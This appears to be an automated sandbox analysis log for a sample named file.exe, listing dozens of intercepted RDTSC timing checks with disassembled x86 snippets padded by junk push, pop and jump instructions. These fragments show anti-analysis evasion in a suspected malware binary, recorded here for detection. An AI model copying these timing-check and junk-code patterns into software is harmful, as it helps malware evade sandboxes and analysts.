Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E87E5 second address: 12E87F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8BA4 second address: 12E8BA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8BA9 second address: 12E8BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8BBB second address: 12E8BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8C46 second address: 12E8C8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549ACh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edx, 4520E7CDh 0x00000011 lea eax, dword ptr [ebp+1248B606h] 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007FE3507549A8h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 nop 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E8C8E second address: 12E8C98 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE350BA4116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF145 second address: 12CF14F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF14F second address: 12CF163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FE350BA411Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF163 second address: 12CF169 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12CF169 second address: 12CF16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328E78 second address: 1328ECA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FE3507549B7h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FE3507549B8h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FE3507549B9h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328ECA second address: 1328EF3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnl 00007FE350BA4116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FE350BA4128h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328EF3 second address: 1328EF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328EF7 second address: 1328F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13294B7 second address: 13294D8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jng 00007FE3507549A6h 0x00000011 pushad 0x00000012 popad 0x00000013 push esi 0x00000014 pop esi 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13294D8 second address: 13294E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FE350BA4116h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132979B second address: 132979F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132979F second address: 13297B7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FE350BA4116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE350BA411Ah 0x00000011 push edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13297B7 second address: 13297C1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE3507549A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F23D second address: 132F24E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FE350BA4116h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F24E second address: 132F252 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F252 second address: 132F258 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F3CE second address: 132F3D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F3D4 second address: 132F3D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F573 second address: 132F579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F703 second address: 132F716 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE350BA411Eh 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F893 second address: 132F8C3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FE3507549A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE3507549B9h 0x0000000f pop ecx 0x00000010 pushad 0x00000011 js 00007FE3507549A8h 0x00000017 push eax 0x00000018 pop eax 0x00000019 push edi 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F8C3 second address: 132F8E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FE350BA4125h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132FA03 second address: 132FA07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132FA07 second address: 132FA32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE350BA411Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FE350BA4123h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132FA32 second address: 132FA38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132FA38 second address: 132FA3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132FBF4 second address: 132FBFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132FBFA second address: 132FC0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jg 00007FE350BA4116h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330010 second address: 1330025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jmp 00007FE3507549ACh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1330025 second address: 133002F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FE350BA4135h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132EDB1 second address: 132EDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jl 00007FE3507549AEh 0x0000000b pushad 0x0000000c popad 0x0000000d jnc 00007FE3507549A6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push edx 0x00000018 pop edx 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132EDCE second address: 132EDD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132EDD3 second address: 132EDE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FE3507549A6h 0x0000000a jmp 00007FE3507549AAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132EDE7 second address: 132EDEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132EDEB second address: 132EDF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333B5B second address: 1333B5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333B5F second address: 1333B65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333B65 second address: 1333B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129E455 second address: 129E47F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3507549B9h 0x00000009 jmp 00007FE3507549ADh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13336E2 second address: 13336EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FE350BA4116h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133385C second address: 1333860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333860 second address: 1333868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333868 second address: 1333874 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jl 00007FE3507549A6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335C7C second address: 1335C9C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jl 00007FE350BA4116h 0x0000000b jl 00007FE350BA4116h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 pushad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jp 00007FE350BA4116h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335C9C second address: 1335CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335DD8 second address: 1335DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 js 00007FE350BA4116h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335DE4 second address: 1335DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339CD9 second address: 1339CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13399F7 second address: 13399FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13399FB second address: 1339A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1339A07 second address: 1339A0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1340752 second address: 134076B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FE350BA4123h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F12F second address: 133F13F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3507549AAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F13F second address: 133F143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F143 second address: 133F175 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE3507549B2h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jc 00007FE3507549D2h 0x00000013 push ecx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push edx 0x00000017 pop edx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FE3507549AAh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F175 second address: 133F179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F42E second address: 133F432 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F432 second address: 133F46E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jmp 00007FE350BA411Fh 0x00000011 jmp 00007FE350BA4128h 0x00000016 jg 00007FE350BA4116h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F46E second address: 133F474 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F474 second address: 133F478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F478 second address: 133F47C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F47C second address: 133F48B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FE350BA4116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E853D second address: 12E85E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE3507549B6h 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007FE3507549A8h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 push edi 0x00000028 mov dword ptr [ebp+122D19EFh], ecx 0x0000002e pop edx 0x0000002f mov ebx, dword ptr [ebp+1248B601h] 0x00000035 pushad 0x00000036 cld 0x00000037 call 00007FE3507549B8h 0x0000003c push esi 0x0000003d pop edx 0x0000003e pop ebx 0x0000003f popad 0x00000040 add eax, ebx 0x00000042 jmp 00007FE3507549B4h 0x00000047 mov edi, dword ptr [ebp+122D3B63h] 0x0000004d nop 0x0000004e jmp 00007FE3507549B2h 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 push eax 0x00000057 push edx 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E85E0 second address: 12E85E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E85E4 second address: 12E85EA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E85EA second address: 12E85EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E85EF second address: 12E85F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133FA28 second address: 133FA56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007FE350BA4125h 0x0000000d pop edi 0x0000000e push ebx 0x0000000f push esi 0x00000010 pop esi 0x00000011 js 00007FE350BA4116h 0x00000017 pop ebx 0x00000018 popad 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push edx 0x0000001d pop edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13446BD second address: 13446C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13446C3 second address: 13446DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FE350BA411Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13446DA second address: 13446E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13446E3 second address: 13446EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343AD5 second address: 1343ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343ADB second address: 1343ADF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343DAE second address: 1343DCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FE3507549A6h 0x0000000a jmp 00007FE3507549B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343F7A second address: 1343F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FE350BA4125h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344240 second address: 1344248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1344248 second address: 134424D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134424D second address: 1344273 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FE3507549B4h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnc 00007FE3507549A6h 0x00000011 jp 00007FE3507549A6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E07C second address: 134E080 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E080 second address: 134E08C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C167 second address: 134C16B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C16B second address: 134C199 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 jp 00007FE3507549B4h 0x0000000e jmp 00007FE3507549ACh 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FE3507549AEh 0x0000001c push esi 0x0000001d pop esi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C77D second address: 134C781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134C781 second address: 134C7A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FE3507549B8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CA2C second address: 134CA30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CA30 second address: 134CA36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CA36 second address: 134CA6C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FE350BA411Ch 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b ja 00007FE350BA4116h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jnc 00007FE350BA411Ch 0x0000001c push edi 0x0000001d jmp 00007FE350BA411Ah 0x00000022 push edi 0x00000023 pop edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134CA6C second address: 134CA7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE3507549ABh 0x00000009 rdtsc
